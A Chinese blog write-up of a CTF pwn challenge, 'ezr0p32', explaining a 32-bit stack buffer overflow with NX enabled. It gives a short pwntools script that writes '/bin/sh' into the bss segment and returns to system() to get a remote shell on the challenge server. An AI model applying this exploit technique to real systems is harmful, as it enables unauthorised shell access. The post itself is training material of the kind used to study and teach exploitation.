编辑
2023-05-03
pwn
00
请注意,本文编写于 630 天前,最后修改于 630 天前,其中某些信息可能已经过时。

目录



[HNCTF 2022 Week1]ezr0p32

依旧是很简单的一题:

首先查看保护:

image-20230503064718355

开启Nx保护。

其实题目里已经告诉我们有了system函数,只需要找到/bin/sh即可。

查看反编译:

image-20230503064828263

很明显开启NX保护我们不能往栈上直接写参数进行传参,需要他的地址,只是我们就需要考虑/bin/sh放的地址,图中已经告诉我们了:第一个read函数是往buf的地址里写数据,同时又可以知道buf没有初始化,大胆猜测他在bss段

bss:

image-20230503065154769

果然是这样的。

所以第一个read就往bss段写/bin/sh

exp:

python
from pwn import* context(log_level='debug') io =remote('node2.anna.nssctf.cn',28797) system = 0x080483D0 io.recvuntil(b'please tell me your name\n') io.sendline(b'/bin/sh\x00') addr = 0x0804A080 io.recvuntil(b'time~\n') payload = b'a'*(0x1c+4)+p32(system)+p32(0xabcd)+p32(addr) io.sendline(payload) io.interactive()

flag

image-20230503065308129

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!